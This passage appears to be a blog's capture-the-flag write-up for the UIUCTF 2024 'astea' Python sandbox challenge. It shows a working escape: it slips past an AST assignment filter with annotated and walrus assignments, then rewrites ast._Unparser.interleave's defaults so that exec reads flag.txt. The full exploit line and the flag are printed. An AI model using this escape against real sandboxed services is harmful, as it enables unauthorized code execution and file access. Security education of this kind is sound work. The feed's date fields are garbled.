style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethe problem in here that this assignment will become (because of the NodeTransformer):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003eis there another way to an assignment in python.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eit turns out there is.\nafter taking a look at all the nodes in the ast module \u003ca href=\"https://docs.python.org/3/library/ast.html\"\u003edocs\u003c/a\u003e, it turns out there are four types of assignments:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003east.Assign: the normal assignment we know\u003c/li\u003e\n\u003cli\u003east.AugAssign: augmented assignment eg: x+= 2, a |= 1.\u003c/li\u003e\n\u003cli\u003east.AnnAssign: just the normal assignment with a type annontiation.\u003c/li\u003e\n\u003cli\u003east.NamedExpr: this is the walrus operator (this assignment does have some constraints).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eand as it turns out, the CoolDownTea class only checks for normal assignments, which means we can use annontiated assignments to our heats content.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCool\nNow we can get the flag right?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIn this case we can directly edit license._Printer__filenames and make it point to flag.txt then call license functions.\nbut obviously i didn’t do that (i didn\u0026rsquo;t know about it then).\u003c/p\u003e\n\u003cp\u003ewhat i thought after reaching this is that i can call any builtin function but with no arguments.\nso is there anything in the python builtins that can help me.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNone, or at least i have not found anything\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003euntil i discovered something, when u define a function with default arguments:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;cool\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eage\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#00a8c8\"\u003epass\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis is actually reflected in one of the function propreties, specifically \u003cstrong\u003edefaults\u003c/strong\u003e , it would look like this for func:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__defaults__\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;cool\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003ecool\nnow we just gotta edit exec’s \u003cstrong\u003edefaults\u003c/strong\u003e with our payload and we win.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003ebuiltin functions in python does not have the \u003cstrong\u003edefaults\u003c/strong\u003e field.\u003c/p\u003e\n\u003cp\u003ebut that’s not a problem, if there is a function that is user made and it uses it’s arguments to call any builtin function we can use that, the builtin function does not matter since we can change it using:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;ord\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efunc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;exec\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003esafe_call and safe_import do not match\nwe can also access the global scope using safe_call.\u003cstrong\u003eglobals\u003c/strong\u003e but none of the functions satisfy the requirements.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003euntil i noticed the fact the the global scope also contains the imported ast module, and it turns out all the functions in it have the \u003cstrong\u003edefaults\u003c/strong\u003e attribute.\nso i checked the \u003ca href=\"https://github.com/python/cpython/blob/main/Lib/ast.py\"\u003esource code\u003c/a\u003e for the ast module.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eso is there any function in there?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eYes. after 2 mins of searching i found it.\u003c/p\u003e\n\u003cp\u003ethe “_Unparser.interleave” function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eclass\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003e_Unparser\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003einterleave\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einter\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eseq\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t    \u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u0026#34;\u0026#34;Call f on each item in seq, calling inter() in between.\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t    \u003cspan style=\"color:#111\"\u003eseq\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiter\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eseq\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t    \u003cspan style=\"color:#00a8c8\"\u003etry\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t        \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enext\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eseq\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t    \u003cspan style=\"color:#00a8c8\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eStopIteration\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t        \u003cspan style=\"color:#00a8c8\"\u003epass\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t        \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ex\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eseq\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t            \u003cspan style=\"color:#111\"\u003einter\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t            \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eas u can see from the description of the function it’s just perfect.\u003c/p\u003e\n\u003ch2 id=\"exploit-crafting\"\u003eExploit crafting:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003efirst, we gotta edit the \u003cstrong\u003edefaults\u003c/strong\u003e of the interleave function, what we care about is f (function to be called), and seq (args for that function).\u003c/p\u003e\n\u003cp\u003ewe set it to call exec on “print(open(’flag.txt’).read())”\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__globals__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;ast\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Unparser\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003einterleave\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__defaults__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;tuple\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e  \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eNone\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eNone\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;exec\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;print(open(\u0026#34;flag.txt\u0026#34;).read())\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003esecond, we assign the safe_call function to interleave function.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__globals__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;ast\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Unparser\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003einterleave\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003efinally, we call the safe_call function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eour final exploit will be:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__globals__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;ast\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Unparser\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003einterleave\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__defaults__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;tuple\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e  \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eNone\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eNone\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__builtins__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;exec\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;print(open(\u0026#34;flag.txt\u0026#34;).read())\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__globals__\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;ast\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Unparser\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003einterleave\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esafe_call\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFLAG: uiuctf{maybe_we_shouldnt_sandbox_python_2691d6c1}\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/uiuctf2024-astea/","date_published":"25066-25-09T60:2525:00+00:00","date_modified":"25066-25-09T60:2525:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}}]}